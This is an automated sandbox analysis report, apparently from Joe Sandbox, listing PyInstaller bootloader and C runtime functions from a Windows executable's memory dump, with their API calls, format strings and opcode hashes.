                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                              • API String ID: 2050909247-2900015858
                                                                                                                                                                                                                                              • Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                              • Instruction ID: cae012d1d034f3ce22a0e87df02c496ec419fb7ab00a951dc5d64d6df9ba5a68
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7C215172A18B8192E6209B61F8417E663B4FB887C4F400236FE8D9B659DF3DD5458F40
                                                                                                                                                                                                                                              Function 00007FF666DEB1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2506987500-0
                                                                                                                                                                                                                                              • Opcode ID: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
                                                                                                                                                                                                                                              • Instruction ID: 853637db11dacbf442897c7963e8a1844bd0c4c78a77a647784e8961f7ff704e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 40216A20E0C7C2C2FA646362765123DA1725F947A0F444734E87ECEADADE3FB4008B00
                                                                                                                                                                                                                                              Function 00007FF666DF7DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                                                                                                                                              • String ID: CONOUT$
                                                                                                                                                                                                                                              • API String ID: 3230265001-3130406586
                                                                                                                                                                                                                                              • Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                              • Instruction ID: 8b0c28a80a72a8ed25033cdba805291bd1a556661a65c63c0b4c2fec9351ab73
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: FD115E21A18A82C6E7508B52F89436976B0FB98BE4F044334EA5DCF7A4DF7ED8548B40
                                                                                                                                                                                                                                              Function 00007FF666DD8560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF666DD9216), ref: 00007FF666DD8592
                                                                                                                                                                                                                                              • K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF666DD9216), ref: 00007FF666DD85E9
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF666DD45E4,00000000,00007FF666DD1985), ref: 00007FF666DD9439
                                                                                                                                                                                                                                              • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF666DD9216), ref: 00007FF666DD8678
                                                                                                                                                                                                                                              • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF666DD9216), ref: 00007FF666DD86E4
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,00000000,00007FF666DD9216), ref: 00007FF666DD86F5
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,00000000,00007FF666DD9216), ref: 00007FF666DD870A
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3462794448-0
                                                                                                                                                                                                                                              • Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
                                                                                                                                                                                                                                              • Instruction ID: 078d661f8eaf6e022ae6d59c30a26d1e068fabe9194b55e94660699a13aaf884
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 20418062B19682E1EA31AB11B5406AA63B4FB84BD4F441235DF8DDFB89DE3DE501CF00
                                                                                                                                                                                                                                              Function 00007FF666DEB338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF666DE4F81,?,?,?,?,00007FF666DEA4FA,?,?,?,?,00007FF666DE71FF), ref: 00007FF666DEB347
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DE4F81,?,?,?,?,00007FF666DEA4FA,?,?,?,?,00007FF666DE71FF), ref: 00007FF666DEB37D
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DE4F81,?,?,?,?,00007FF666DEA4FA,?,?,?,?,00007FF666DE71FF), ref: 00007FF666DEB3AA
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DE4F81,?,?,?,?,00007FF666DEA4FA,?,?,?,?,00007FF666DE71FF), ref: 00007FF666DEB3BB
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DE4F81,?,?,?,?,00007FF666DEA4FA,?,?,?,?,00007FF666DE71FF), ref: 00007FF666DEB3CC
                                                                                                                                                                                                                                              • SetLastError.KERNEL32(?,?,?,00007FF666DE4F81,?,?,?,?,00007FF666DEA4FA,?,?,?,?,00007FF666DE71FF), ref: 00007FF666DEB3E7
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2506987500-0
                                                                                                                                                                                                                                              • Opcode ID: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
                                                                                                                                                                                                                                              • Instruction ID: c812eb2b638f0bc06b628a3035b1c7cfe6e9e1413e3a669442bb45899b6bb270
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D011F720A0C7C2C3FA546722769223DA2729F887A0F544734E97ECE6D6DE3FB4018B41
                                                                                                                                                                                                                                              Function 00007FF666DD2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF666DD1B6A), ref: 00007FF666DD295E
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
                                                                                                                                                                                                                                              • API String ID: 2050909247-2962405886
                                                                                                                                                                                                                                              • Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                              • Instruction ID: 7558b8fb07c7dfe4b0004129d78cd2f7017b4db4f632513e09c25d92c2022641
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: ED31C422B1868192E720A765BC406E662A5BFC87D8F400232EE8DCF795EF3DD5468B00
                                                                                                                                                                                                                                              Function 00007FF666DD2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                                                                                                                                                                                                              • String ID: Unhandled exception in script
                                                                                                                                                                                                                                              • API String ID: 3081866767-2699770090
                                                                                                                                                                                                                                              • Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
                                                                                                                                                                                                                                              • Instruction ID: 61b5996e4ba6e7831efe39a9947b9c27b1d6e0d78ad7600e14bafb953b1e4a48
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AC311D62619A82C9EB20AB61F8552F96370FF89788F444235EA4D8FB99DF3DD145CB00
                                                                                                                                                                                                                                              Function 00007FF666DD2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF666DD918F,?,00007FF666DD3C55), ref: 00007FF666DD2BA0
                                                                                                                                                                                                                                              • MessageBoxW.USER32 ref: 00007FF666DD2C2A
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentMessageProcess
                                                                                                                                                                                                                                              • String ID: WARNING$Warning$[PYI-%d:%ls]
                                                                                                                                                                                                                                              • API String ID: 1672936522-3797743490
                                                                                                                                                                                                                                              • Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                              • Instruction ID: ab628ec25df33f27cb2c0e113e7213839886ceb9a5498ee2febb3470a67d6109
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2321AE62B08B81D2E7219B64F8447AA63B4EB887C4F404236EA8D9F659DE3DD605CB40
                                                                                                                                                                                                                                              Function 00007FF666DD2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF666DD1B99), ref: 00007FF666DD2760
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                              • API String ID: 2050909247-1591803126
                                                                                                                                                                                                                                              • Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                              • Instruction ID: 481782701efce22bf27600f25f42b772bac5dfb5969e53553469543cac0c133b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D0215E72A18B8192E620DB51F8817EAA3B4EF887C4F400236FE8D9B659DF7DD5458F40
                                                                                                                                                                                                                                              Function 00007FF666DE9AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                                                              • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                                                              • API String ID: 4061214504-1276376045
                                                                                                                                                                                                                                              • Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                              • Instruction ID: 80b8c2734531b4e67ccf0a2027acd3f85ad788312ae17b78c75524c51929d968
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 75F06D61B19B46C2EB108B24F49577A6370EF99761F540335DA6E8E2E4DF3EE048CB40
                                                                                                                                                                                                                                              Function 00007FF666DF93D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _set_statfp
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1156100317-0
                                                                                                                                                                                                                                              • Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                              • Instruction ID: c1745a84058abc1587d03686f146182430c2b10b0d5fe242ac69b5e9f21ec553
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F3118F72E5CA1381F6641D28F49637520646FFD374E080B34EA7E8E6D68E3EA9414D08
                                                                                                                                                                                                                                              Function 00007FF666DEB400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,00007FF666DEA613,?,?,00000000,00007FF666DEA8AE,?,?,?,?,?,00007FF666DEA83A), ref: 00007FF666DEB41F
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DEA613,?,?,00000000,00007FF666DEA8AE,?,?,?,?,?,00007FF666DEA83A), ref: 00007FF666DEB43E
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DEA613,?,?,00000000,00007FF666DEA8AE,?,?,?,?,?,00007FF666DEA83A), ref: 00007FF666DEB466
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DEA613,?,?,00000000,00007FF666DEA8AE,?,?,?,?,?,00007FF666DEA83A), ref: 00007FF666DEB477
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF666DEA613,?,?,00000000,00007FF666DEA8AE,?,?,?,?,?,00007FF666DEA83A), ref: 00007FF666DEB488
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3702945584-0
                                                                                                                                                                                                                                              • Opcode ID: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
